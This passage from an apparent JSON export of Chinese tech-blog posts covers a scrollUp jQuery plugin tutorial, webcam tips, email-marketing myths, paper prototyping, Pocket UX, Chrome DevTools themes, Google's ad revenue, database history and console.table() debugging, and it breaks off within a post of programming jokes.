\u0026#39;scrollUp\u0026#39;, // Element ID scrollDistance: 300, // Distance from top/bottom before showing element (px) scrollFrom: \u0026#39;top\u0026#39;, // \u0026#39;top\u0026#39; or \u0026#39;bottom\u0026#39; scrollSpeed: 300, // Speed back to top (ms) easingType: \u0026#39;linear\u0026#39;, // Scroll to top easing (see http://easings.net/) animation: \u0026#39;fade\u0026#39;, // Fade, slide, none animationInSpeed: 200, // Animation in speed (ms) animationOutSpeed: 200, // Animation out speed (ms) scrollText: \u0026#39;Scroll to top\u0026#39;, // Text for element, can contain HTML scrollTitle: false, // Set a custom \u0026lt;a\u0026gt; title if required. Defaults to scrollText scrollImg: false, // Set true to use image activeOverlay: false, // Set CSS color to display scrollUp active point, e.g \u0026#39;#00FFFF\u0026#39; zIndex: 2147483647 // Z-Index for the overlay }); }); \u0026lt;/script\u0026gt; 這裡選項後面的註解都有說明用途，你可以依照自己的需求調整。如果沒有特別需求，也可以不用指定那麼多選項，例如只是顯示圖片按鈕的話，只要指定 scrollImg 就夠了：\n\u0026lt;script\u0026gt; $(function () { $.scrollUp({ scrollImg: true // Set true to use image }); }); \u0026lt;/script\u0026gt; 這樣就完成了，現在只要使用者將網頁的捲軸往下拉，在網頁的右下角就會出現回到頁首的按鈕了。\n在 Blogger 部落格中使用 scrollUp jQuery Plugin 首先參考「[使用 Google 雲端硬碟（Drive）放置 Blogger 部落格使用的 CSS 與 JavaScript 檔案][2]」的作法，把 jquery.scrollUp.min.js 這個檔案放進 Google 的空間。（jquery 的部份因為 Google 本來就有提供，所以就不需要自己動手了）\n接著把這兩行加入到 Blogger 的範本檔的 \u0026lt;head\u0026gt; 中：\n\u0026lt;script src=\u0026#39;//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js\u0026#39;/\u0026gt; \u0026lt;!-- scrollUp jQuery plugin --\u0026gt; \u0026lt;script src=\u0026#34;https://googledrive.com/host/0B9VQk49XGpnvQ2JETTNtZHJTVFk\u0026#34; type=\u0026#34;text/javascript\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 一個是 Google 的 CDN，另一個是放在自己 Google 雲端硬碟的位址。\n接著把要使用的按鈕圖片上傳到 Google Blogger 的空間，就像這樣：\n把這張圖上傳到部落格上面，只是為了讓這張圖可以放進 Google 提供的免費空間而已，當上傳完成之後，可以選擇編輯文章的 HTML 檢視功能，找出這張圖的實際位址，正常的話這部份的 HTML 程式碼應該會像這樣：\n\u0026lt;a href=\u0026#34;http://2.bp.blogspot.com/--EgHE5Oau7o/UpsYYWRE8YI/AAAAAAAAQE8/l6arzEsDIeQ/s1600/top.png\u0026#34; imageanchor=\u0026#34;1\u0026#34; style=\u0026#34;margin-left: 1em; margin-right: 1em;\u0026#34;\u0026gt;\u0026lt;img border=\u0026#34;0\u0026#34; src=\u0026#34;http://2.bp.blogspot.com/--EgHE5Oau7o/UpsYYWRE8YI/AAAAAAAAQE8/l6arzEsDIeQ/s1600/top.png\u0026#34; /\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/div\u0026gt; 而其中 \u0026lt;img\u0026gt; 的 src 屬性就是我們要的圖片位址，把這個位址複製下來之後放進 CSS 中，再把修改好的 CSS 程式碼加入 Blogger 範本中：\n/* Image style */ #scrollUp { bottom: 20px; right: 20px; height: 38px; /* Height of image */ width: 38px; /* Width of image */ background: url(http://2.bp.blogspot.com/--EgHE5Oau7o/UpsYYWRE8YI/AAAAAAAAQE8/l6arzEsDIeQ/s1600/top.png) no-repeat; } 最後在範本中找個位置加入啟動 scrollUp jQuery Plugin 的 JavaScript：\n\u0026lt;script\u0026gt; $(function () { $.scrollUp({ scrollImg: true // Set true to use image }); }); \u0026lt;/script\u0026gt; 我個人是加在 \u0026lt;/body\u0026gt; 之前，不過這個放在哪裡應該沒太大差別。\n參考資料 Tom McFarlin ","permalink":"https://blog.gtwang.org/web-development/scrollup-jquery-plugin-back-to-top/","summary":"\u003cp\u003e這裡介紹如何使用 \u003ca href=\"https://markgoodyear.com/2013/01/scrollup-jquery-plugin/\"\u003escrollUp jQuery Plugin\u003c/a\u003e，在網頁與部落格中加入回到頁首（Back To Top）的按鈕。\u003c/p\u003e\n\u003cp\u003e有些網頁設計者會在一些內容比較長的網頁中加入回到頁首（Back To Top）的按鈕，這種按鈕在一開始載入網頁時並不會顯示，而在使用者往下捲動網頁內容時就會自動出現在畫面的角落，只要使用者用滑鼠點一下這個按鈕，就會自動將捲軸拉到最上方，是一個可以讓使用者更方便瀏覽網頁的小功能。\u003c/p\u003e","title":"使用 ScrollUp jQuery Plugin 在網頁與部落格中加入回到頁首（Back To Top）按鈕"},{"content":"這裡有一些網路攝影機（webcam）的使用建議，可以讓自己的影像拍起來不要太醜。\n由於現在的網路頻寬快速提昇，視訊設備價格也非常低廉，只要電腦有上網再加上一個幾百塊的網路攝影機（webcam），就可以進行視訊了。\n如果你也有使用視訊通話的習慣，那麼你可以參考一下這裡的建議，讓你的網路攝影機可以拍出更好看的影像。\n首先是不要讓攝影機對著光源拍攝，如果你身後是一扇很亮的窗戶，這種情況下攝影機為了讓整個畫面平衡，會把畫面的亮度調低，結果就是主體太暗，甚至根本只會看到一個黑影。\n如果想要有比較好的效果，可以用檯燈之類的光源，幫自己的臉稍微打個光，就像照相館照大頭照那樣。另外，背景的部份當然不要太雜亂會比較好看。\n雖然無線網路很方便，但是它的延遲（latency）問題也會比一般的有線網路嚴重，這會造成視訊雙方在對話時發生不同不的現象。\n太吵雜的環境會讓講話聽不清楚，所以安靜的場所當然也是必要的。\n關閉一些不必要的程式，可以讓電腦釋放出更多可用的資源，尤其是一些會佔用網路頻寬的系統更新或下載程式等。\n另外如果你跟別人共用網路，也可以拜託其他人不要佔用太多的網路頻寬。\n最後一點，就是把攝影機的鏡頭對準，讓你的臉出現在畫面中央。\n參考資料 Cool Infographics ","permalink":"https://blog.gtwang.org/funny/how-not-to-look-ugly-on-a-webcam/","summary":"\u003cp\u003e這裡有一些網路攝影機（webcam）的使用建議，可以讓自己的影像拍起來不要太醜。\u003c/p\u003e\n\u003cp\u003e由於現在的網路頻寬快速提昇，視訊設備價格也非常低廉，只要電腦有上網再加上一個幾百塊的網路攝影機（webcam），就可以進行視訊了。\u003c/p\u003e","title":"如何讓網路攝影機（webcam）的影像更漂亮、視訊品質更好？"},{"content":"許多人對於 Email 行銷上的一些概念很可能跟實際情況不同，這裡的一些分析結果可以讓你更了解實際的狀況。\n在使用 Email 行銷手法推廣產品的時後，我們常常認為一些理所當然的觀念，其實有可能是不正確的。Alchemy Worx 根據其顧客的實際資料進行了一些分析，得到了以下的一些結論。\n顧客都被一些自己訂閱的 Email 淹沒？ 根據 Alchemy Worx 的報告顯示，40% 的顧客平均每天只有收到 3 封從自己信任（訂閱）的來源寄來的電子郵件，甚至有 63% 的顧客收到的郵件不超過 6 封，根據 Merkle 的研究更顯示有 74% 的顧客喜歡以 Email 的方式跟廠商進行溝通，勝過其他的方式。\n在禮拜二下午兩點發送 Email 最適合？ 這個想法來自於「顧客收到 Email 就會立即觀看」這個迷思，根據 Alchemy Worx 的資料顯示，76% 的顧客在收到 Email 兩天之內會打開，而 79% 的消費行為是在兩天之後，而甚至有 32% 的消費行為發生在收到郵件的兩週之後。\n對於那些半年以上沒有回應的顧客，應該停止發送 Email？ 根據 Alchemy Worx 的資料統計結果顯示，那些一年只開啟一封 Email 觀看的顧客有 20% 是持續半年以上沒有回應的，所以若是對於這些顧客停止發送 Email 也就會直接影響這類的顧客群。\n顧客會把行銷 Email 設定為廣告信件？ 事實上根據 Return Path 的資料，在兩千位顧客中僅僅不到一位會把行銷 Email 設定為廣告信件。\n如果發送太多行銷廣告 Email，只會讓顧客忽略更多信件？ 雖然這個說法是正確的，但 Alchemy Worx 做了一項實驗，它們從每個月發送一封 Email 提升到四封，持續了三個月之後，發現有開啟一封 Email 以上的顧客從原本的 10% 提升到 24%，也直接讓獲益提昇 11%。\n簡短的郵件標題效果比較好？ Alchemy Worx 分析了超過 2 億封簡短標題的 Email（標題少於 60 個字元），簡短標題確實對於開啟 Email 有幫助，但是如果要讓顧客繼續點閱信件內容的話，反而是長標題信件（標題超過 70 個字元）的效果會比較好。\n信件的標題會影像是否被判讀為垃圾郵件？ Alchemy Worx 分析了從 eData Source 拿到的資料（包含超過 200 位顧客，5400 億封 Email），結果顯示郵件的標題對於判定是否為垃圾郵件其實影響不大，事實上判定垃圾郵件的準則比大家想像中的還要複雜許多，信件來源可能還會比內容更重要。\n以上這些是許多人對於 Email 行銷的迷思，以前都認為 Email 行銷應該在適當的時間、發送精準有用的訊息、給鎖定的顧客，但是現在 Email 行銷其實可以作為企業與所有訂閱顧客之間很好的溝通管道。\n參考資料 Marketing Profs ","permalink":"https://blog.gtwang.org/funny/seven-myths-of-email-marketing/","summary":"\u003cp\u003e許多人對於 Email 行銷上的一些概念很可能跟實際情況不同，這裡的一些分析結果可以讓你更了解實際的狀況。\u003c/p\u003e\n\u003cp\u003e在使用 Email 行銷手法推廣產品的時後，我們常常認為一些理所當然的觀念，其實有可能是不正確的。\u003ca href=\"https://alchemyworx.com/\"\u003eAlchemy Worx\u003c/a\u003e 根據其顧客的實際資料進行了一些分析，得到了以下的一些結論。\u003c/p\u003e","title":"Email 行銷的實際情況可能跟你想像中不同"},{"content":"在軟體或網頁設計上，紙與筆其實是很有用的工具，它不但簡單、便宜，而且可以讓你盡情發揮創意思考。\n用紙筆設計原型（Prototype） 使用紙與筆來設計原型（prototype）是使用者經驗設計（user experience design）上常用的方法之一，而因為所有的設計都是徒手繪製，難免與實際情況會有一段差距（尤其是美術天分不夠的人），再加上用手畫圖通常都很耗時，所以許多人並不喜歡使用這樣的方式。\n但是像 axure 這類的設計工具也有它的限制，這樣個工具會提供一系列的組件與動作讓設計者選擇與組裝，雖然很方便但是卻也侷限了設計者能使用的工具，如果一個有創意思考的設計師要創造一個全新的使用者體驗，這樣的工具就很難辦到。\n如果在設計時使用的是一張白紙與一支筆，你就可以發揮自己的創意，將注意力集中在原型的設計上，而不會老是思考要選擇哪一個可用的組件。根據 Snyder（2003）的研究，使用紙張畫圖與剪貼，可以增加設計者的創意，寫字與畫圖的動作是建立在感覺運動上的一個很複雜的認知過程，這個動作在一些研究上也被證實可以加強大腦的神經活動（Mangen, Velay, 2010）。\n為什麼在這個電腦時代還要用紙筆？ 使用只比設計原型的最主要目的就是可以快速建立產品的模型，讓開發團隊於產品發展初期在實際撰寫程式之前，可以嘗試各種可能的想法與設計，減少因為設計工具限制所造成的誤解，而因為使用的工具是一般的紙筆，這種方式大家都會使用，所以可以讓來自各種不同領域的人馬上一起參與討論與設計，不會因為設計工具的使用造成困擾。\n由於紙筆設計的方式只需要幾張紙、幾隻筆、剪刀與膠帶，這些在每個辦公室都可以找的到，花費也很便宜，所以這樣的做法在原型設計初期是一個很常用的方式。\n關於紙上原型設計有一些迷思，到底應該怎麼寫、怎麼畫才是一個紙上原型（paper prototype）？很顯然的，它絕對不是藝術創作！事實上沒有藝術美感的繪圖在這裡可能反而比較實用，在這個設計階段是要方便取得大家對於設計原型的意見，快速進行重複的修改動作，而細部美化的工作則是產品發展到後期的時候才會處理的，通常在原型設計的時候，一張圖不會花超過一小時，而且只會畫出最常用的一些功能而已。\n紙筆與電腦 使用這樣的方式通常都可以分析出一般網頁或軟體使用上的流程與可能出現的問題，在一些研究上（Landay \u0026amp; Myers, 2001、Bailey, 2005、Walker et al. 2007 與 Mäuselein, 2007）顯示使用紙筆與電腦設計原型在測試可用性上是同樣有效的，這些研究者在這兩種原型設計方式上進行了一些實驗，發現它們在分析可用性問題上並沒有顯著的差異，所以這兩種原型設計方式可以說是在伯仲之間。\n有一些人感覺使用紙筆的方式可以讓那些不熟悉電腦操作的設計者也可以很容易使用，但是也有研究顯示使用電腦的方式可以讓更多人使用（Walter, 2002）。Sefelin（2003）的研究顯示使用紙筆的方式可以讓設計者更專注於設計本身的功能與互動，另外如果使用者使用使用電腦設計的原型來測試一些功能，也會很容易被一些使用者介面的圖形設計所吸引，造成討論的議題失焦（例如討論字型、顏色的選擇，但是這些問題根本不是這時候談的），沒有針對真正的問題點做討論，使用紙筆通常都可以讓大家聚焦於使用的流程設計上，而且在測試上出現問題時，也可以立即修改（用筆直接改），不會像電腦一樣需要一些比較複雜的操作。\n凡事總有例外 紙筆原型的方式有許多優點，但是它也有缺點，例如在設計放大縮小、捲軸滑動與一些手勢或動操作的時候，用紙筆設計就有一些難度了，另外紙筆設計的方式有沒辦法讓遠端的使用者測試。\n在設計者選擇要使用的設計工具之前，先了解自己的需求是很重要的，有時候不斷的重新畫圖也是很煩人的事情，最簡單的方式就是用影印機把畫好的圖直接印個幾份出來，或是使用 UXPin 這類的工具也可以節省很多時間。\n參考資料 Mäuselein (2007): Paper Prototypes vs. Computer-based Prototypes in a User-centered Design Process. Snyder (2003): Paper Prototyping. The Fast and Easy Way to Design and Refine User Interfaces. Mangen, Velay (2010): Digitizing Literacy: Reflections on the Haptics of Writing. Walker, Takayama, Landay (2007): High-fidelity or low-fidelity, paper or computer? Choosing attributes when testing web prototypes. Bailey (2005): Paper Prototypes Work as Well as Software Prototypes. ","permalink":"https://blog.gtwang.org/funny/simple-cheap-creative-meet-paper-prototyping/","summary":"\u003cp\u003e在軟體或網頁設計上，紙與筆其實是很有用的工具，它不但簡單、便宜，而且可以讓你盡情發揮創意思考。\u003c/p\u003e\n\u003ch2 id=\"用紙筆設計原型prototype\"\u003e用紙筆設計原型（Prototype）\u003c/h2\u003e\n\u003cp\u003e使用紙與筆來設計原型（prototype）是使用者經驗設計（user experience design）上常用的方法之一，而因為所有的設計都是徒手繪製，難免與實際情況會有一段差距（尤其是美術天分不夠的人），再加上用手畫圖通常都很耗時，所以許多人並不喜歡使用這樣的方式。\u003c/p\u003e","title":"紙上談兵：既簡單又便宜的創意設計方式"},{"content":"Pocket 是一個手機閱讀 App，這裡介紹如何透過使用者經驗設計（user experience design）改善 App 的效益。\nGoogle Ventures 透過更好的使用者經驗設計，讓 Pocket App 的新使用者使用儲存文章功能的比例提升 58%，直接大幅提升 Pocket App 的使用率與有效使用者的數量，這裡我們介紹他們是怎麼做到的。\n目標 許多 Pocket App 的新使用者會因為好奇或親友推薦而下載 App 來使用，而這裡的重點是如何讓這些新的使用者感覺這個 App 好用，願意長期繼續使用，不要因為一開始感覺不會用就把 App 移除了。\n方法 Google Ventures 開發團隊花了 3 週的時間，進行 App 原型（prototype）的設計、iOS 與 Android 平台 App 實作與實際使用者的測試，以下是他們的整個工作流程。\nDAY 1：搞清楚目標與問題所在 Pocket 團隊其實已經清楚什麼情況可以促使新的使用者變成長期性的使用者，例如儲存三篇文章或是在第二台裝置上安裝 Pocket App 等。而他們也經過 User Testing 的測試，找出使用者在使用 App 時會卡在哪一個地方。\n接著大家集思廣益，想出各種可能可以改善新使用者使用經驗的辦法，並整理成 HMW 的型式。\n有了個各樣的想法，接著就使用投票的方式，選出最好的那一個，再將基本的操作流程畫出來，以便我們了解其中的細節與使用者經驗。\nDAY 2：畫出可能的解決方案 使用前一天所學到的東西，開始規劃可能的解決方案，每個操作流程都使用三張便條紙的版面來表示，畫出可能的設計方案。\nDAY 3：決定使用哪一個方案 依據目標與可行性，評估畫出的每一個方案，選出一個最好的作為實作的原型（prototype）。\n我們將比較好的想法用橘色貼紙標示出來，然後將這些想法彙集起來，分成兩群再進行比較。\nDAY 4：實作原型（Prototype） 將每一個筆記上的概念實作出來，並且盡可能保留原來的想法，不要跟原來的設計概念有落差。\n在 iPad mini 上面的實作也依照原來筆記上的大小來設計，儘量保持原本的想法與概念。\nDAY 5：實際找人測試原型（Prototype） 他們找了五位完全沒有用過 Pocket 的人來測試新的原型，當這些新的使用者在使用新的原型時，開發團隊則是在另一個房間觀察並記錄使用的過程。\n在每一個測試使用者使用完之後，開發團隊會立即將測試結果記錄下來，例如哪一些功能有發揮預期的效果，而哪一些沒有，並且找出哪一些功能在下一次的設計與使用者測試上需要更改。\n","permalink":"https://blog.gtwang.org/funny/pocket-user-experience-design/","summary":"\u003cp\u003e\u003ca href=\"https://getpocket.com/\"\u003ePocket\u003c/a\u003e 是一個手機閱讀 App，這裡介紹如何透過使用者經驗設計（user experience design）改善 App 的效益。\u003c/p\u003e\n\u003cp\u003eGoogle Ventures 透過更好的使用者經驗設計，讓 Pocket App 的新使用者使用儲存文章功能的比例提升 58%，直接大幅提升 Pocket App 的使用率與有效使用者的數量，這裡我們介紹他們是怎麼做到的。\u003c/p\u003e","title":"Pocket 如何改善使用者經驗（User Experience），讓效益增加 58%？"},{"content":"Google 地圖新增了全世界主要交通轉運站的室內街景服務，包含機場、火車站、甚至飛機的機艙都可看。\n大家都知道在 Google 地圖上可以使用街景服務隨意瀏覽全世界各地的景象，在威尼斯可以坐船，在龜島群島還可以游泳，而現在 Google 地圖又有新的點子了。\n這次 Google 地圖把全世界一些大城市的交通轉運站的室內景象拍攝下來，包含 16 個國際機場、50 幾個火車站與地鐵站，甚至還有香港的纜車站與迪拜國際機場 Emirates A380 客機的機艙實景。\n一般出國旅遊準時搭飛機、搭火車都是很重要的事情，如果時間沒算好錯過班次就麻煩了，尤其是在國外旅遊，對於當地的交通路線也不是很熟悉的狀況下更容易發生這樣的狀況。\n現在有了這個 Google 交通轉運站室內街景服務之後，如果要出國旅遊，我們除了可以使用 Google 地圖規劃行程之外，出發前還可以先看看機場、火車站的實際景象，避免一時找不到路而耽誤了班次、延誤行程，影響旅遊的心情。\n參考資料 Google Map ","permalink":"https://blog.gtwang.org/funny/google-maps-preview-international-travel-with-images-of-airports-railsubway-stations/","summary":"\u003cp\u003eGoogle 地圖新增了全世界主要交通轉運站的室內街景服務，包含機場、火車站、甚至飛機的機艙都可看。\u003c/p\u003e\n\u003cp\u003e大家都知道在 Google 地圖上可以使用街景服務隨意瀏覽全世界各地的景象，在\u003ca href=\"/funny/street-view-floats-into-venice/\"\u003e威尼斯\u003c/a\u003e可以坐船，在\u003ca href=\"https://www.google.com/maps/about/behind-the-scenes/streetview/treks/galapagos-islands/\"\u003e龜島群島\u003c/a\u003e還可以游泳，而現在 Google 地圖又有新的點子了。\u003c/p\u003e","title":"Google 地圖新增了全世界主要交通轉運站的室內街景服務"},{"content":"這裡教大家如何自定 Google Chrome 瀏覽器的網頁開發人員工具（Chrome Developer Tools）佈景主題。\n在 Google Chrome 瀏覽器中有提供了一個 DevTools 網頁開發人員工具，它可以讓網頁開發者非常方便的在上面開發網頁或除錯，而這個工具在預設的情況下是使用白底灰字的布景主題，如果你是需要長時間使用這個工具開發的人，這樣的配色可能會讓眼睛很吃力。\n這裡提供一些深色背景的布景主題與安裝教學，你可以從中選擇自己喜歡的配色主題來安裝在自己的 Chrome 瀏覽器中。\n尋找 Google Chrome DevTools 佈景主題 首先第一步就是要找一個自己喜歡的佈景主題，這個通常用 Google 搜尋就可以在網路上找到很多，不會太難。\nGoogle Chrome DevTools 的佈景主題其實就是一個 CSS 設定檔，當找到滿意的佈景主題之後，就把該佈景主題的 CSS 下載下來就可以了。\n這裡要注意一點，有些佈景主題可能只會更改部份的程式碼配色或是特定的 panel 顏色，而有些則是會提供完整版面的佈景主題，讓整體感覺一致，在找這類的佈景主題時可以依照自己的需求選擇。\n以下是一些不錯的深色佈景主題：\nZero Dark Matrix\nMonokai Theme For Chrome DevTools\nTomorrow Theme\n安裝 Google Chrome DevTools 佈景主題 要安裝 Google Chrome DevTools 的佈景主題很簡單，只要把佈景主題的 CSS 檔複製到 Chrome 瀏覽器放置 CSS 佈景主題的目錄即可。\n這裡我們以 Monokai 為例，示範如何安裝佈景主題 CSS 檔案。首先下載 CSS 檔，在 GitHub 的網頁上若要下載原始的檔案，可以選擇以 Raw 的方式直接下載，下載下來的檔案應該是一個檔名為 Custom.css 的檔案，Chrome 的整個佈景主題都儲存在這個檔案裡面。\n接著再把這個檔案放入 Chrome 的佈景主題目錄，這個目錄在不同的作業系統有不同的路徑。若在 Linux 系統中則為 $HOME/.config/google-chrome/Default/User StyleSheets，而這個目錄中應該也會有一個檔名為 Custom.css 的檔案，如果要更換佈景主題，就將這個檔案置換掉就可以了。\n建議在置換佈景主題之前，可以將原本的檔案備份起來，這樣萬一新的佈景主題不滿意，還可以還原回來：\nmv ~/.config/google-chrome/Default/User\\ StyleSheets/Custom.css ~/.config/google-chrome/Default/User\\ StyleSheets/Custom.css.bak 接著就可以把新的佈景主題檔複製到這個目錄了：\ncp Custom.css ~/.config/google-chrome/Default/User\\ StyleSheets/ 這樣就完成了，接著把 Google Chrome 關閉之後再重新開啟，就可以使用新的佈景主題了。\n如果是使用 Mac OS X 的系統，Google Chrome 的佈景主題目錄為 ~/Library/Application Support/Google/Chrome/Default/User StyleSheets/，置換 CSS 檔的方式都一樣，而除了使用指令之外，也可以開啟 Finder，按下 Command + Shift + G，再將這個路徑貼上去，就可以用 Finder 開啟該目錄來置換檔案了。\n如果是 Windows 7 或 8 的使用者，Google Chrome 的佈景主題目錄則為 \\AppData\\Local\\Google\\Chrome\\User Data\\Default\\User StyleSheets，而置換的方式也都相同。\n由於 Google Chrome 在瀏覽器本身版本更新的時候並不會更動到佈景主題的檔案，所以當你安裝了自己的佈景主題之後，也不用擔心更新版本之後還要重新安裝佈景主題的問題。\n參考資料 hongkiat.com ","permalink":"https://blog.gtwang.org/web-development/customize-google-chrome-devtools-theme/","summary":"\u003cp\u003e這裡教大家如何自定 Google Chrome 瀏覽器的網頁開發人員工具（Chrome Developer Tools）佈景主題。\u003c/p\u003e\n\u003cp\u003e在 Google Chrome 瀏覽器中有提供了一個 DevTools 網頁開發人員工具，它可以讓網頁開發者非常方便的在上面開發網頁或除錯，而這個工具在預設的情況下是使用白底灰字的布景主題，如果你是需要長時間使用這個工具開發的人，這樣的配色可能會讓眼睛很吃力。\u003c/p\u003e","title":"自定 Google Chrome 網頁開發人員工具（DevTools）佈景主題教學"},{"content":"這裡告訴你 Google 提供免費服務，但是又可以賺錢的祕訣所在。\nGoogle 最近公佈其 2013 年第三季的財報，第三季的淨利高於市場預期，營收達 148.9 億美元，比去年同期增長 12%，淨利則來到了 29.7 億美元，比去年同期增長 36%，盤後 Google 股價上漲 7.9%，達 959 美元。\nGoogle 毋庸置疑是一家商業公司，但是為什麼他提供那麼多優質的服務給大眾使用，卻不收任何費用？那 Google 到的要從哪裡獲利呢？重點是他還賺那麼多！\n簡單的說，Google 把所有的使用者都當成是它的產品，而不是客戶！換句話說，如果你跟我一樣習慣使用 Google 搜尋各種資訊、使用 GMail 收發電子郵件以及其它各式各樣的 Google 線上服務，那麼你就是一個 Google 的產品。\nGoogle 靠著提供各種免費又優質的服務，吸引大家來使用，接著 Google 就靠著這些服務網站掌握了非常大量的使用者，並且將所有的使用者資訊經過分析整理後，利用這些資訊向一些大廠商販售廣告。\n舉一個簡單的例子來說，如果 Google 蒐集到一天有數千人在 Google 搜尋引擎上打入「沖泡營養品」這個關鍵字搜尋，那麼這時候 Google 就可以去找賣美錄的雀巢公司，跟他說：Google 可以把美錄的銷售廣告放送給這些正在搜尋「沖泡營養品」的人，而這些人都是你們公司產品的潛在客戶，你要不要買 Google 的廣告？\n這樣大家可能就會比較清楚，Google 的客戶其實是那些向 Google 買廣告的廠商，我們其實都被 Google 給賣了！\n除了網站服務之外，Google 所發展的 Chrome 瀏覽器也是以同樣的模式在經營，它以匿名的方式蒐集使用者在瀏覽氣上的操作紀錄，分析使用的操作方式、習慣與各種行為，而因為可以蒐集到這些寶貴的使用者行為資料，讓 Google Chrome 瀏覽器成為一個非常賺錢產品。\n總而言之，Google 做的每一件事都是為了可以掌握更多的使用者，只要掌握了更多的使用者與相關資訊，Google 就有更多的籌碼去跟其他的廠商談廣告。\n下面這張圖顯示了在 Google 刊登的廣告中，最貴的 20 個關鍵字。\nGoogle 就是靠著販售這些關鍵字廣告，從其他的廠商手上賺錢，過去是這樣，未來幾年大概也不會有太大的改變。\n除了搜尋引擎等服務，Google 也積極拓展其他的市場，例如手機、作業系統等，但是目前 Google 的收益有九成以上都還是來自於廣告相關的產品。\n參考資料 Word Stream Best Accounting Schools Channel 4 US News Mashable ","permalink":"https://blog.gtwang.org/funny/how-does-google-make-money/","summary":"\u003cp\u003e這裡告訴你 Google 提供免費服務，但是又可以賺錢的祕訣所在。\u003c/p\u003e\n\u003cp\u003eGoogle 最近公佈其 2013 年第三季的財報，第三季的淨利高於市場預期，營收達 148.9 億美元，比去年同期增長 12%，淨利則來到了 29.7 億美元，比去年同期增長 36%，盤後 Google 股價上漲 7.9%，達 959 美元。\u003c/p\u003e","title":"Google 的服務都是免費的，為什麼它可以賺錢？"},{"content":"這張圖簡略描述了資料庫的過去的發展史與未來發展的方向。\n關聯式資料庫（relational database）的佔有率在 1980 年代的時候並沒有特別明顯優於其他的資料庫系統，但是後來這種資料庫慢慢的成為市場主流，許多的商業應用與網站也都使用這樣的資料庫。\n隨著資料與交易（transaction）量的增長，逐漸出現一些專門為增加資料庫效能而設計的高階伺服器，而因為高階伺服器太過昂貴，所以也出現了一些平行化技術，可以使用較低的花費處理較大的資料量與複雜的資料庫查詢動作。\n但是近年來由於大資料（big data）的衝擊，3V（volume、velocity 與 variety）的資料讓傳統的關聯式資料庫即便配合高階伺服器與現有的平行技術還是不敷使用，所以又發展出了 NoSQL、Distributed SQL 與 Hadoop，這些新技術提供了資料庫的水平擴充能力，只要增加新的伺服器節點，就可以不斷擴充資料庫系統的容量。\n下面這張圖簡述了資料庫過去的發展史，也點出未來可能發展的方向。\n","permalink":"https://blog.gtwang.org/funny/the-future-of-the-database/","summary":"\u003cp\u003e這張圖簡略描述了資料庫的過去的發展史與未來發展的方向。\u003c/p\u003e\n\u003cp\u003e關聯式資料庫（relational database）的佔有率在 1980 年代的時候並沒有特別明顯優於其他的資料庫系統，但是後來這種資料庫慢慢的成為市場主流，許多的商業應用與網站也都使用這樣的資料庫。\u003c/p\u003e","title":"資料庫簡略發展史與未來發展的方向"},{"content":"這裡介紹如何在 Google Chrome 瀏覽器中使用 console.table() 函數進行 JavaScript 程式的除錯（Debug）。\n在 Web Developer Conference 2013 這個研討會中，Marcus Ross 提供大家各種在 Google Chrome 特有的 JavaScript 除錯（debug）方法，這裡我們介紹其中一種使用 console.table() 函數的方式。\n使用 console.log() 函數 假設你在 JavaScript 建立一個這樣的陣列：\nvar languages = [ { name: \u0026#34;JavaScript\u0026#34;, fileExtension: \u0026#34;.js\u0026#34; }, { name: \u0026#34;TypeScript\u0026#34;, fileExtension: \u0026#34;.ts\u0026#34; }, { name: \u0026#34;CoffeeScript\u0026#34;, fileExtension: \u0026#34;.coffee\u0026#34; } ]; 然後使用 console.log() 函數輸出這個陣列以便檢查其中的資料：\nconsole.log(languages); 輸出的畫面會像這樣\n這樣的樹狀結構表示方式對於除錯的時候很有幫助，但是如果你想要查看所有物件的屬性值，就會需要手動用滑鼠將每一個物件的屬性一一打開，這樣其實也不太方便，這樣的狀況就可以改用 console.table() 函數。\n使用 console.table() 函數輸出陣列 console.table() 函數與 console.log() 函數的用法與功能都差不多，但是它會以表格的方式呈現：\nconsole.table(languages); 而其輸出則會像這樣：\n這樣所有的屬性一目了然，而且既整齊又乾淨。\n當然這樣的表示方式會比較適用於比較整齊的資料結構，如果每個物件有不同的屬性，使用這樣的表示方式就會出現很多 undefined 的值，使用者可以依照自己的狀況選擇使用 console.log() 或 console.table() 函數。\n使用 console.table() 函數輸出物件 console.table() 函數另外一個好用的地方就是可以直接輸出物件，例如：\nvar languages = { csharp: { name: \u0026#34;C#\u0026#34;, paradigm: \u0026#34;object-oriented\u0026#34; }, fsharp: { name: \u0026#34;F#\u0026#34;, paradigm: \u0026#34;functional\u0026#34; } }; console.table(languages); 輸出就會像這樣：\n篩選物件屬性 如果只想要讓 console.table() 函數輸出物件的部份幾種屬性，可以加上第二個參數指定要輸出的屬性名稱，例如只要輸出 name 與 paradigm 這兩個屬性，使用：\nconsole.table(languages, [\u0026#34;name\u0026#34;, \u0026#34;paradigm\u0026#34;]); 如果只要輸出一個屬性，可以簡化成這樣：\nconsole.table(languages, \u0026#34;name\u0026#34;); 參考資料 Chrome DevTools ","permalink":"https://blog.gtwang.org/web-development/advanced-javascript-debugging-with-consoletable/","summary":"\u003cp\u003e這裡介紹如何在 Google Chrome 瀏覽器中使用 \u003ccode\u003econsole.table()\u003c/code\u003e 函數進行 JavaScript 程式的除錯（Debug）。\u003c/p\u003e\n\u003cp\u003e在 Web Developer Conference 2013 這個研討會中，Marcus Ross 提供大家各種在 Google Chrome 特有的 JavaScript 除錯（debug）方法，這裡我們介紹其中一種使用 \u003ccode\u003econsole.table()\u003c/code\u003e 函數的方式。\u003c/p\u003e","title":"在 Google Chrome 中使用 console.table() 函數進行 JavaScript 程式除錯（Debug）"},{"content":"這裡搜集了一些關於程式設計的笑話，閒暇時可以看看。\n問路 A man flying in a hot air balloon suddenly realizes he’s lost. He reduces height and spots a man down below. He lowers the balloon further and shouts to get directions, “Excuse me, can you tell me where I am?” 有一個駕駛熱氣球的人發現他迷路了。他降低了飛行的高度，並認出了地面上的一個人。他繼續下降高度並對著那個人大叫，「打擾一下，你能告訴我我在哪嗎？」\nThe man below says: “Yes. You’re in a hot air balloon, hovering 30 feet above this field.” 下面那個人說：「是的。你在熱氣球裡啊，盤旋在30英尺的空中」\n“You must work in Information Technology,” says the balloonist. 熱氣球上的人說：「你一定是在IT部門做技術工作」\n“I do” replies the man. “How did you know?” 「沒錯」，地面上的人說到，「你是怎麼知道的？」\n“Well,” says the balloonist, “everything you have told me is technically correct, but It’s of no use to anyone.” 「呵呵」，熱氣球上的人說，「你告訴我的每件事在技術上都是對的，但對都沒有用」\nThe man below replies, “You must work in management.” 地面上的人說，「你一定是管理層的人」\n“I do,” replies the 